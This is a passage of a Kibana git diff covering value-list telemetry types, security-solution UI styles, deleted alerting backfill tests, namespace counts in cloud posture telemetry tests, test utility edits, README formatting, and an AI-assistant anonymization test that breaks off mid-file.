number; + date_range: number; + double: number; + double_range: number; + float: number; + float_range: number; + geo_point: number; + geo_shape: number; + half_float: number; + integer: number; + integer_range: number; + ip: number; + ip_range: number; + keyword: number; + long: number; + long_range: number; + shape: number; + short: number; + text: number; +} + +export interface ValueListItemsOverviewMetricsSchema { + total: number; + max_items_per_list: number; + min_items_per_list: number; + median_items_per_list: number; +} + +export interface ValueListMetricsSchema { + lists_overview: ValueListsOverviewMetricsSchema; + items_overview: ValueListItemsOverviewMetricsSchema; +} + +export interface ListsOverviewAggsResponse { + hits: { + total: { + value: number; + }; + }; + aggregations: { + by_type: { + buckets: Array<{ + key: string; + doc_count: number; + }>; + }; + }; +} + +export interface ListItemsOverviewAggsResponse { + hits: { + total: { + value: number; + }; + }; + aggregations: { + min_items_per_list: { + value: number; + keys: string[]; + }; + max_items_per_list: { + value: number; + keys: string[]; + }; + median_items_per_list: { + values: { + '50.0': number; + }; + }; + }; +} diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/utils.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/utils.ts new file mode 100644 index 0000000000000..2fa9fc8e2aa96 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/value_lists/utils.ts @@ -0,0 +1,40 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +export const METRICS_ITEMS_DEFAULT_STATE = { + total: 0, + max_items_per_list: 0, + min_items_per_list: 0, + median_items_per_list: 0, +}; + +export const METRICS_LISTS_DEFAULT_STATE = { + binary: 0, + boolean: 0, + byte: 0, + date: 0, + date_nanos: 0, + date_range: 0, + double: 0, + double_range: 0, + float: 0, + float_range: 0, + geo_point: 0, + geo_shape: 0, + half_float: 0, + integer: 0, + integer_range: 0, + ip: 0, + ip_range: 0, + keyword: 0, + long: 0, + long_range: 0, + shape: 0, + short: 0, + text: 0, + total: 0, +}; diff --git a/x-pack/solutions/security/plugins/session_view/public/components/detail_panel_alert_tab/index.tsx b/x-pack/solutions/security/plugins/session_view/public/components/detail_panel_alert_tab/index.tsx index 37ed8dc8c835e..e3661ab308e21 100644 --- a/x-pack/solutions/security/plugins/session_view/public/components/detail_panel_alert_tab/index.tsx +++ b/x-pack/solutions/security/plugins/session_view/public/components/detail_panel_alert_tab/index.tsx @@ -101,7 +101,6 @@ export const DetailPanelAlertTab = ({
    { const container: CSSObject = { position: 'relative', + margin: size.base, }; const stickyItem: CSSObject = { @@ -26,10 +27,6 @@ export const useStyles = () => { backgroundColor: colors.emptyShade, }; - const viewMode: CSSObject = { - margin: size.base, - }; - const loadMoreBtn: CSSObject = { margin: size.m, width: `calc(100% - ${size.m} * 2)`, @@ -38,7 +35,6 @@ export const useStyles = () => { return { container, stickyItem, - viewMode, loadMoreBtn, }; }, [euiTheme]); diff --git a/x-pack/solutions/security/plugins/session_view/public/components/session_view/styles.ts b/x-pack/solutions/security/plugins/session_view/public/components/session_view/styles.ts index 746cb2b109378..8535551baea1d 100644 --- a/x-pack/solutions/security/plugins/session_view/public/components/session_view/styles.ts +++ b/x-pack/solutions/security/plugins/session_view/public/components/session_view/styles.ts @@ -47,7 +47,7 @@ export const useStyles = ({ height = 500 }: StylesDeps) => { }; const fakeDisabled: CSSObject = { - color: euiTheme.colors.disabled, + color: euiTheme.colors.backgroundBaseDisabled, }; return { diff --git a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/config.ts b/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/config.ts deleted file mode 100644 index cabca1b364444..0000000000000 --- a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/config.ts +++ /dev/null @@ -1,18 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { createTestConfig } from '@kbn/test-suites-xpack-platform/alerting_api_integration/common/config'; - -export default createTestConfig('security_and_spaces', { - disabledPlugins: [], - license: 'trial', - ssl: true, - enableActionsProxy: true, - publicBaseUrl: true, - testFiles: [require.resolve('./tests')], - useDedicatedTaskRunner: true, -}); diff --git a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/backfill/index.ts b/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/backfill/index.ts deleted file mode 100644 index 0a2a664d3bf12..0000000000000 --- a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/backfill/index.ts +++ /dev/null @@ -1,15 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import type { FtrProviderContext } from '../../../../../ftr_provider_context'; - -export default function backfillTests({ loadTestFile }: FtrProviderContext) { - describe('backfill rule runs', () => { - loadTestFile(require.resolve('./task_runner')); - loadTestFile(require.resolve('./task_runner_with_actions')); - }); -} diff --git a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/backfill/test_utils.ts b/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/backfill/test_utils.ts deleted file mode 100644 index 403edce252eaf..0000000000000 --- a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/backfill/test_utils.ts +++ /dev/null @@ -1,119 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { ES_TEST_INDEX_NAME } from '@kbn/alerting-api-integration-helpers'; -import type { Client } from '@elastic/elasticsearch'; -import moment from 'moment'; -import { ALERT_ORIGINAL_TIME } from '@kbn/security-solution-plugin/common/field_maps/field_names'; -import type { SearchHit } from '@elastic/elasticsearch/lib/api/types'; -import { DOCUMENT_SOURCE } from '@kbn/test-suites-xpack-platform/alerting_api_integration/spaces_only/tests/alerting/create_test_data'; - -export const TEST_ACTIONS_INDEX = 'alerting-backfill-test-data'; - -export const testDocTimestamps = [ - // before first backfill run - moment().utc().subtract(14, 'days').toISOString(), - - // backfill execution set 1 - moment().utc().startOf('day').subtract(13, 'days').add(10, 'minutes').toISOString(), - moment().utc().startOf('day').subtract(13, 'days').add(11, 'minutes').toISOString(), - moment().utc().startOf('day').subtract(13, 'days').add(12, 'minutes').toISOString(), - - // backfill execution set 2 - moment().utc().startOf('day').subtract(12, 'days').add(20, 'minutes').toISOString(), - - // backfill execution set 3 - moment().utc().startOf('day').subtract(11, 'days').add(30, 'minutes').toISOString(), - moment().utc().startOf('day').subtract(11, 'days').add(31, 'minutes').toISOString(), - moment().utc().startOf('day').subtract(11, 'days').add(32, 'minutes').toISOString(), - moment().utc().startOf('day').subtract(11, 'days').add(33, 'minutes').toISOString(), - moment().utc().startOf('day').subtract(11, 'days').add(34, 'minutes').toISOString(), - - // backfill execution set 4 purposely left empty - - // after last backfill - moment().utc().startOf('day').subtract(9, 'days').add(40, 'minutes').toISOString(), - moment().utc().startOf('day').subtract(9, 'days').add(41, 'minutes').toISOString(), -]; - -export async function queryForAlertDocs( - es: Client, - index: string -): Promise>> { - const searchResult = await es.search({ - index, - sort: [{ [ALERT_ORIGINAL_TIME]: { order: 'asc' } }], - query: { match_all: {} }, - }); - return searchResult.hits.hits as Array>; -} - -export async function searchScheduledTask(es: Client, id: string) { - const searchResult = await es.search({ - index: '.kibana_task_manager', - query: { - bool: { - must: [ - { - term: { - 'task.id': `task:${id}`, - }, - }, - { - terms: { - 'task.scope': ['alerting'], - }, - }, - ], - }, - }, - }); - - // @ts-expect-error - return searchResult.hits.total.value; -} - -export function getSecurityRule(overwrites = {}) { - return { - name: 'test siem query rule with actions', - rule_type_id: 'siem.queryRule', - consumer: 'siem', - enabled: true, - actions: [], - schedule: { interval: '24h' }, - params: { - author: [], - description: 'test', - falsePositives: [], - from: 'now-86460s', - ruleId: '31c54f10-9d3b-45a8-b064-b92e8c6fcbe7', - immutable: false, - license: '', - outputIndex: '', - meta: { from: '1m', kibana_siem_app_url: 'https://localhost:5601/app/security' }, - maxSignals: 20, - riskScore: 21, - riskScoreMapping: [], - severity: 'low', - severityMapping: [], - threat: [], - to: 'now', - references: [], - version: 1, - exceptionsList: [], - relatedIntegrations: [], - requiredFields: [], - setup: '', - type: 'query', - language: 'kuery', - index: [ES_TEST_INDEX_NAME], - query: `source:${DOCUMENT_SOURCE}`, - filters: [], - }, - ...overwrites, - }; -} diff --git a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/index.ts b/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/index.ts deleted file mode 100644 index 87c4a2822a2a3..0000000000000 --- a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/alerting/index.ts +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import type { FtrProviderContext } from '../../../../ftr_provider_context'; -import { setupSpacesAndUsers, tearDown } from '../../../setup'; - -export default function alertingTests({ loadTestFile, getService }: FtrProviderContext) { - describe('Alerts - Group 1', () => { - describe('alerts', () => { - before(async () => { - await setupSpacesAndUsers(getService); - }); - - after(async () => { - await tearDown(getService); - }); - - loadTestFile(require.resolve('./backfill')); - }); - }); -} diff --git a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/index.ts b/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/index.ts deleted file mode 100644 index 463cae80ec3b0..0000000000000 --- a/x-pack/solutions/security/test/alerting_api_integration/security_and_spaces/group1/tests/index.ts +++ /dev/null @@ -1,14 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import type { FtrProviderContext } from '../../../ftr_provider_context'; - -export default function alertingApiIntegrationTests({ loadTestFile }: FtrProviderContext) { - describe('Security Solution - alerting api integration - security and spaces enabled', function () { - loadTestFile(require.resolve('./alerting')); - }); -} diff --git a/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/data.ts b/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/data.ts index da50b2531e575..2c174328e3af7 100644 --- a/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/data.ts +++ b/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/data.ts @@ -16,6 +16,7 @@ export interface MockTelemetryFindings { cluster_id?: string; cloud?: { account?: { id: string } }; cloudbeat?: { kubernetes: { version: string } }; + data_stream?: { namespace: string }; } export interface MockTelemetryData { @@ -42,6 +43,7 @@ export const data: MockTelemetryData = { result: { evaluation: 'failed' }, cloud: { account: { id: 'my-aws-12345' } }, host: { name: 'docker-fleet-agent' }, + data_stream: { namespace: 'default' }, }, { rule: { @@ -61,6 +63,7 @@ export const data: MockTelemetryData = { result: { evaluation: 'passed' }, cloud: { account: { id: 'my-aws-12345' } }, host: { name: 'docker-fleet-agent' }, + data_stream: { namespace: 'default' }, }, ], kspmFindings: [ @@ -83,6 +86,7 @@ export const data: MockTelemetryData = { result: { evaluation: 'passed' }, host: { name: 'docker-fleet-agent' }, cloudbeat: { kubernetes: { version: 'v1.23.0' } }, + data_stream: { namespace: 'default' }, }, { cluster_id: 'my-k8s-cluster-5555', @@ -103,6 +107,7 @@ export const data: MockTelemetryData = { result: { evaluation: 'passed' }, host: { name: 'control-plane' }, cloudbeat: { kubernetes: { version: 'v1.23.0' } }, + data_stream: { namespace: 'default' }, }, ], kspmFindingsNoPostureType: [ diff --git a/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/telemetry.ts b/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/telemetry.ts index 782674e7d4683..87426bf571574 100644 --- a/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/telemetry.ts +++ b/x-pack/solutions/security/test/cloud_security_posture_api/telemetry/telemetry.ts @@ -63,6 +63,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 1, + cspm_namespaces_count: 0, }, ]); expect(apiResponse.stack_stats.kibana.plugins.cloud_security_posture.resources_stats).to.eql([ @@ -117,6 +119,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 1, nodes_count: 1, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 1, }, ]); @@ -164,6 +168,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 1, nodes_count: 1, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 1, }, { account_id: 'my-k8s-cluster-5555', @@ -178,6 +184,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 1, + cspm_namespaces_count: 0, }, ]); @@ -242,6 +250,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 0, }, ]); @@ -298,6 +308,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 1, nodes_count: 1, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 1, }, { account_id: 'my-k8s-cluster-5555', @@ -312,6 +324,8 @@ export default function ({ getService }: FtrProviderContext) { agents_count: 2, nodes_count: 2, pods_count: 0, + kspm_namespaces_count: 0, + cspm_namespaces_count: 0, }, ]); diff --git a/x-pack/solutions/security/test/cloud_security_posture_functional/cloud_tests/findings_sanity.ts b/x-pack/solutions/security/test/cloud_security_posture_functional/cloud_tests/findings_sanity.ts index 02578aabee970..1788a6d82427c 100644 --- a/x-pack/solutions/security/test/cloud_security_posture_functional/cloud_tests/findings_sanity.ts +++ b/x-pack/solutions/security/test/cloud_security_posture_functional/cloud_tests/findings_sanity.ts @@ -21,8 +21,9 @@ export default ({ getPageObjects, getService }: FtrProviderContext) => { before(async () => { findings = pageObjects.findings; latestFindingsTable = pageObjects.findings.latestFindingsTable; + await findings.navigateToLatestFindingsPage(); - await findings.waitForPluginInitialized(); + await pageObjects.header.waitUntilLoadingHasFinished(); }); describe('Findings - Querying data', () => { diff --git a/x-pack/solutions/security/test/cloud_security_posture_functional/config.ts b/x-pack/solutions/security/test/cloud_security_posture_functional/config.ts index a49f05a191140..1a74100c61dff 100644 --- a/x-pack/solutions/security/test/cloud_security_posture_functional/config.ts +++ b/x-pack/solutions/security/test/cloud_security_posture_functional/config.ts @@ -67,7 +67,6 @@ export default async function ({ readConfigFile }: FtrConfigProviderContext) { `--xpack.fleet.agents.fleet_server.hosts=["https://ftr.kibana:8220"]`, `--xpack.fleet.internal.fleetServerStandalone=true`, `--xpack.fleet.internal.registry.kibanaVersionCheckEnabled=false`, - `--xpack.cloudSecurityPosture.enableExperimental=["cloudSecurityNamespaceSupportEnabled"]`, // Required for telemetry e2e tests `--plugin-path=${resolve( __dirname, diff --git a/x-pack/solutions/security/test/osquery_cypress/utils.ts b/x-pack/solutions/security/test/osquery_cypress/utils.ts index 04c7c3e9f91ea..efec0fd51a97f 100644 --- a/x-pack/solutions/security/test/osquery_cypress/utils.ts +++ b/x-pack/solutions/security/test/osquery_cypress/utils.ts @@ -5,11 +5,7 @@ * 2.0. */ -import axios from 'axios'; -import semver from 'semver'; -import { map } from 'lodash'; import { PackagePolicy, CreatePackagePolicyResponse, API_VERSIONS } from '@kbn/fleet-plugin/common'; -import { kibanaPackageJson } from '@kbn/repo-info'; import { KbnClient } from '@kbn/test'; import { GetEnrollmentAPIKeysResponse, @@ -17,7 +13,6 @@ import { } from '@kbn/fleet-plugin/common/types'; import { ToolingLog } from '@kbn/tooling-log'; import chalk from 'chalk'; -import pRetry from 'p-retry'; export const DEFAULT_HEADERS = Object.freeze({ 'x-elastic-internal-product': 'security-solution', @@ -135,7 +130,7 @@ export const addIntegrationToAgentPolicy = async ( * Check if the given version string is a valid artifact version * @param version Version string */ -const isValidArtifactVersion = (version: string) => !!version.match(/^\d+\.\d+\.\d+(-SNAPSHOT)?$/); +// const isValidArtifactVersion = (version: string) => !!version.match(/^\d+\.\d+\.\d+(-SNAPSHOT)?$/); /** * Returns the Agent version that is available for install (will check `artifacts-api.elastic.co/v1/versions`) @@ -143,45 +138,52 @@ const isValidArtifactVersion = (version: string) => !!version.match(/^\d+\.\d+\. * @param kbnClient * @param log */ +// +// export const getLatestAvailableAgentVersion = async ( +// kbnClient: KbnClient, +// log: ToolingLog +// ): Promise => { +// let currentVersion: string; +// +// try { +// const kbnStatus = await kbnClient.status.get(); +// currentVersion = kbnStatus.version.number; +// } catch { +// log.warning(chalk.bold('Failed to get Kibana version, using package.json version')); +// currentVersion = kibanaPackageJson.version; +// } +// +// const agentVersions = await pRetry( +// async () => { +// const response = await axios.get('https://artifacts-api.elastic.co/v1/versions'); +// return map( +// response.data.versions.filter(isValidArtifactVersion), +// (version) => version.split('-SNAPSHOT')[0] +// ); +// }, +// { +// retries: 6, +// } +// ).catch(() => null); +// +// if (!agentVersions) { +// log.warning( +// chalk.bold('Failed to get agent versions from artifacts-api, using package.json version') +// ); +// } +// +// const version = agentVersions +// ? semver.maxSatisfying(agentVersions, `<=${currentVersion}`) +// : currentVersion; +// +// return `${version}-SNAPSHOT`; +// }; export const getLatestAvailableAgentVersion = async ( kbnClient: KbnClient, log: ToolingLog ): Promise => { - let currentVersion: string; - - try { - const kbnStatus = await kbnClient.status.get(); - currentVersion = kbnStatus.version.number; - } catch { - log.warning(chalk.bold('Failed to get Kibana version, using package.json version')); - currentVersion = kibanaPackageJson.version; - } - - const agentVersions = await pRetry( - async () => { - const response = await axios.get('https://artifacts-api.elastic.co/v1/versions'); - return map( - response.data.versions.filter(isValidArtifactVersion), - (version) => version.split('-SNAPSHOT')[0] - ); - }, - { - retries: 6, - } - ).catch(() => null); - - if (!agentVersions) { - log.warning( - chalk.bold('Failed to get agent versions from artifacts-api, using package.json version') - ); - } - - const version = agentVersions - ? semver.maxSatisfying(agentVersions, `<=${currentVersion}`) - : currentVersion; - - return `${version}-SNAPSHOT`; + return `9.1.0-SNAPSHOT`; }; export const generateRandomString = (length: number) => { diff --git a/x-pack/solutions/security/test/tsconfig.json b/x-pack/solutions/security/test/tsconfig.json index 7c9c45ae8625d..38c4b1b752c7b 100644 --- a/x-pack/solutions/security/test/tsconfig.json +++ b/x-pack/solutions/security/test/tsconfig.json @@ -35,10 +35,8 @@ "@kbn/ftr-common-functional-ui-services", "@kbn/test-subj-selector", "@kbn/std", - "@kbn/alerts-as-data-utils", "@kbn/rule-data-utils", "@kbn/alerting-api-integration-helpers", - "@kbn/event-log-plugin", "@kbn/alerting-plugin", "@kbn/stack-connectors-plugin", "@kbn/security-plugin", @@ -47,6 +45,5 @@ "@kbn/es", "@kbn/cypress-test-helper", "@kbn/fleet-plugin", - "@kbn/repo-info", ] } diff --git a/x-pack/test/accessibility/apps/group3/enterprise_search.ts b/x-pack/test/accessibility/apps/group3/enterprise_search.ts index ced78a5975b84..0309bcfb5695e 100644 --- a/x-pack/test/accessibility/apps/group3/enterprise_search.ts +++ b/x-pack/test/accessibility/apps/group3/enterprise_search.ts @@ -26,21 +26,13 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { await kibanaServer.savedObjects.cleanStandardList(); }); - describe('Overview', () => { + describe('Home', () => { before(async () => { - await common.navigateToApp('elasticsearch/overview'); + await common.navigateToApp('elasticsearch/home'); }); - it('loads a landing page with product cards', async function () { - await retry.waitFor( - 'Elasticsearch product card visible', - async () => await testSubjects.exists('enterpriseSearchElasticsearchProductCard') - ); - await retry.waitFor( - 'Search Applications product card visible', - async () => await testSubjects.exists('enterpriseSearchApplicationsProductCard') - ); - await a11y.testAppSnapshot(); + it('loads the search home page', async function () { + await testSubjects.exists('search-homepage'); }); }); diff --git a/x-pack/test/api_integration/deployment_agnostic/README.md b/x-pack/test/api_integration/deployment_agnostic/README.md index 8f311d808e7e1..e383e63d16f61 100644 --- a/x-pack/test/api_integration/deployment_agnostic/README.md +++ b/x-pack/test/api_integration/deployment_agnostic/README.md @@ -1,6 +1,7 @@ # Deployment-Agnostic Tests Guidelines ## Definition + A deployment-agnostic API integration test is a test suite that fulfills the following criteria: **Functionality**: It tests Kibana APIs that are logically identical in both stateful and serverless environments for the same roles. @@ -10,27 +11,31 @@ A deployment-agnostic API integration test is a test suite that fulfills the fol A deployment-agnostic test should be loaded in stateful and at least 1 serverless FTR config files. ## Tests, that are not deployment-agnostic: + - tests verifying Kibana behavior under a basic license. - tests dependent on ES/Kibana server arguments, that are not set in Elastic Cloud - tests requiring a custom plugin to be loaded specifically for testing purposes. - tests dependent on varying user privileges between serverless and stateful environments. ## Tests Design Requirements + A deployment-agnostic test is contained within a single test file and always utilizes the [DeploymentAgnosticFtrProviderContext](https://github.com/elastic/kibana/blob/main/x-pack/test/api_integration/deployment_agnostic/ftr_provider_context.d.ts) to load compatible FTR services. A compatible FTR service must support: - **Serverless**: Both local environments and MKI (Managed Kubernetes Infrastructure). - **Stateful**: Both local environments and Cloud deployments. -To achieve this, services cannot use `supertest`, which employs an operator user for serverless and a system index superuser for stateful setups. Instead, services should use a combination of `supertestWithoutAuth` and `samlAuth` to generate an API key for user roles and make API calls. For example, see the [data_view_api.ts](https://github.com/elastic/kibana/blob/main/x-pack/test/api_integration/deployment_agnostic/services/data_view_api.ts) service. +To achieve this, services cannot use `supertest`, which employs an operator user for serverless and a system index superuser for stateful setups. Instead, services should use a combination of `supertestWithoutAuth` and `samlAuth` to generate an API key for user roles and make API calls. For example, see the [data_view_api.ts](https://github.com/elastic/kibana/blob/main/x-pack/platform/test/api_integration_deployment_agnostic/services/data_view_api.ts) service. Note: The `supertest` service is still available and can be used to **set up or tear down the environment** in `before` / `after` hooks. However, it **should not be used to test APIs**, such as making API calls in `it` blocks. ### How It Works + Most existing stateful tests use basic authentication for API testing. In contrast, serverless tests use SAML authentication with project-specific role mapping. -Since both Elastic Cloud (ESS) and Serverless rely on SAML authentication by default, and stateful deployments also support SAML, *deployment-agnostic tests configure Elasticsearch and Kibana with SAML authentication to use the same authentication approach in all cases*. For roles, stateful deployments define 'viewer', 'editor', and 'admin' roles with serverless-alike permissions. +Since both Elastic Cloud (ESS) and Serverless rely on SAML authentication by default, and stateful deployments also support SAML, _deployment-agnostic tests configure Elasticsearch and Kibana with SAML authentication to use the same authentication approach in all cases_. For roles, stateful deployments define 'viewer', 'editor', and 'admin' roles with serverless-alike permissions. ### When to Create Separate Tests + While the deployment-agnostic testing approach is beneficial, it should not compromise the quality and simplicity of the tests. Here are some scenarios where separate test files are recommended: - **Role-Specific Logic**: If API access or logic depends on roles that differ across deployments. @@ -38,6 +43,7 @@ While the deployment-agnostic testing approach is beneficial, it should not comp - **Complex Logic**: If the test logic requires splitting across multiple locations. ## File Structure + We recommend following this structure to simplify maintenance and allow other teams to reuse code (e.g., FTR services) created by different teams: ``` @@ -65,11 +71,13 @@ x-pack/test/ ``` ## Loading Your Tests Properly + When Platform teams add deployment-agnostic tests, it is expected that these tests are loaded in `configs/stateful/platform.index.ts` and at least one of the `.serverless.config` files under `configs/serverless` folder. When a Solution team (e.g., one of the Oblt teams) adds deployment-agnostic tests, it is expected that these tests are loaded in both `configs/stateful/oblt.index.ts` and `configs/serverless/oblt.index.ts`. ## Step-by-Step Guide + 1. Define Deployment-Agnostic Services Under `x-pack/test//deployment_agnostic/services`, create `index.ts` and load base services from `x-pack/test/api_integration/deployment_agnostic/services`: @@ -94,6 +102,7 @@ We suggest adding new services to `x-pack/test/api_integration/deployment_agnost 2. Create `DeploymentAgnosticFtrProviderContext` with Services Defined in Step 2 Create `ftr_provider_context.d.ts` and export `DeploymentAgnosticFtrProviderContext`: + ```ts import { GenericFtrProviderContext } from '@kbn/test'; import { services } from './services'; @@ -112,6 +121,7 @@ Kibana provides both public and internal APIs, each requiring authentication wit - Internal APIs: Direct HTTP requests to internal APIs are generally not expected. However, for testing purposes, authentication should be performed using the Cookie header. This approach simulates client-side behavior during browser interactions, mirroring how internal APIs are indirectly invoked. Recommendations: + - use `roleScopedSupertest` service to create supertest instance scoped to specific role and pre-defined request headers - `roleScopedSupertest.getSupertestWithRoleScope()` authenticate requests with API key by default - pass `useCookieHeader: true` to use Cookie header for requests authentication @@ -120,6 +130,7 @@ Recommendations: Add test files to `x-pack/test//deployment_agnostic/apis/`: test example + ```ts export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { const roleScopedSupertest = getService('roleScopedSupertest'); @@ -132,10 +143,13 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { withInternalHeaders: true, withCustomHeaders: { 'accept-encoding': 'gzip' }, }); - supertestEditorWithCookieCredentials = await roleScopedSupertest.getSupertestWithRoleScope('editor', { - withInternalHeaders: true, - useCookieHeader: true, - }); + supertestEditorWithCookieCredentials = await roleScopedSupertest.getSupertestWithRoleScope( + 'editor', + { + withInternalHeaders: true, + useCookieHeader: true, + } + ); }); after(async () => { // always invalidate API key for the scoped role in the end @@ -152,10 +166,11 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { const response = await supertestEditorWithCookieCredentials .post(`/internal/alerting/rule/${ruleId}/_run_soon`) .expect(204); - }); + }); }); } ``` + Load all test files in `index.ts` under the same folder. 4. Add Tests Entry File and FTR Config File for **Stateful** Deployment @@ -186,11 +201,13 @@ export default createStatefulTestConfig({ }, }); ``` + 5. Add Tests Entry File and FTR Config File for Specific **Serverless** Project Example for Observability project: oblt.index.ts + ```ts import { DeploymentAgnosticFtrProviderContext } from './ftr_provider_context'; @@ -202,6 +219,7 @@ export default function ({ loadTestFile }: DeploymentAgnosticFtrProviderContext) ``` oblt.serverless.config.ts + ```ts import { createServerlessTestConfig } from './../../api_integration/deployment_agnostic/default_configs/serverless.config.base'; import { services } from './services'; @@ -246,20 +264,24 @@ node scripts/functional_test_runner --config x-pack/test/api_integration/deploym ``` ## Tagging and Skipping the Tests + Since deployment-agnostic tests are designed to run both locally and on MKI/Cloud, we believe no extra tagging is required in general (read below for exceptions). If a test is not working on MKI/Cloud or both, there is most likely an issue with the FTR service or the configuration file it uses. When a test fails on CI, automation will apply `.skip` to the top-level describe block. This means the test will be skipped in **both serverless and stateful environments**. If a test is unstable in a specific environment only, it is probably a sign that the test is not truly deployment-agnostic. ### Excluding a suite from test environments + As pointed out above, deployment agnostic tests should be designed to run in stateful and serverless, locally and in cloud (ECH, MKI). However, there are situations where a test suite should only run on a subset of these environments. **This should be an exception.** Here are the supported suite labels to control execution in test environments: -* `skipStateful` - this will exclude the suite from **all stateful test runs, local and ECH** -* `skipCloud` - this will exclude the suite from **all cloud test runs, ECH and MKI** -* `skipServerless` - this will exclude the suite from **all serverless test runs, local and MKI** -* `skipMKI` - this will exclude the suite from **serverless cloud / MKI test runs** + +- `skipStateful` - this will exclude the suite from **all stateful test runs, local and ECH** +- `skipCloud` - this will exclude the suite from **all cloud test runs, ECH and MKI** +- `skipServerless` - this will exclude the suite from **all serverless test runs, local and MKI** +- `skipMKI` - this will exclude the suite from **serverless cloud / MKI test runs** Note that tags can not be applied to an arrow function suite like `describe('test suite', () => {`. Here's an example of how to apply a suite tag: + ```ts describe('test suite', function () { // add a comment to explain why this suite is excluded from that test environment @@ -269,6 +291,7 @@ describe('test suite', function () { ``` ## Migrating existing tests + If your tests align with the outlined criteria and requirements, you can migrate them to deployment-agnostic by following these steps: 1. Move your tests to the `x-pack/test/api_integration/deployment_agnostic/apis/` directory. diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/anonymization/anonymization.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/anonymization/anonymization.spec.ts index c9042b30ebb23..73ce7583deb51 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/anonymization/anonymization.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/ai_assistant/anonymization/anonymization.spec.ts @@ -6,10 +6,8 @@ */ import expect from '@kbn/expect'; import { MessageRole, type Message } from '@kbn/observability-ai-assistant-plugin/common'; -import { - LlmProxy, - createLlmProxy, -} from '../../../../../../observability_ai_assistant_api_integration/common/create_llm_proxy'; +import { aiAssistantAnonymizationSettings } from '@kbn/inference-common'; +import { createLlmProxy, LlmProxy } from '../utils/create_llm_proxy'; import { setAdvancedSettings } from '../utils/advanced_settings'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; import { clearConversations } from '../utils/conversation'; @@ -29,8 +27,7 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon const userText1 = 'My name is Claudia and my email is claudia@example.com'; const userText2 = 'my website is http://claudia.is'; // LLM proxy is not working on MKI - this.tags(['failsOnMKI']); - + this.tags(['skipCloud']); before(async () => { await clearConversations(es); proxy = await createLlmProxy(log); @@ -40,21 +37,23 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon // configure anonymization rules for these tests await setAdvancedSettings(supertest, { - 'observability:aiAssistantAnonymizationRules': JSON.stringify( - [ - { - entityClass: 'EMAIL', - type: 'regex', - pattern: '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}', - enabled: true, - }, - { - entityClass: 'URL', - type: 'regex', - pattern: 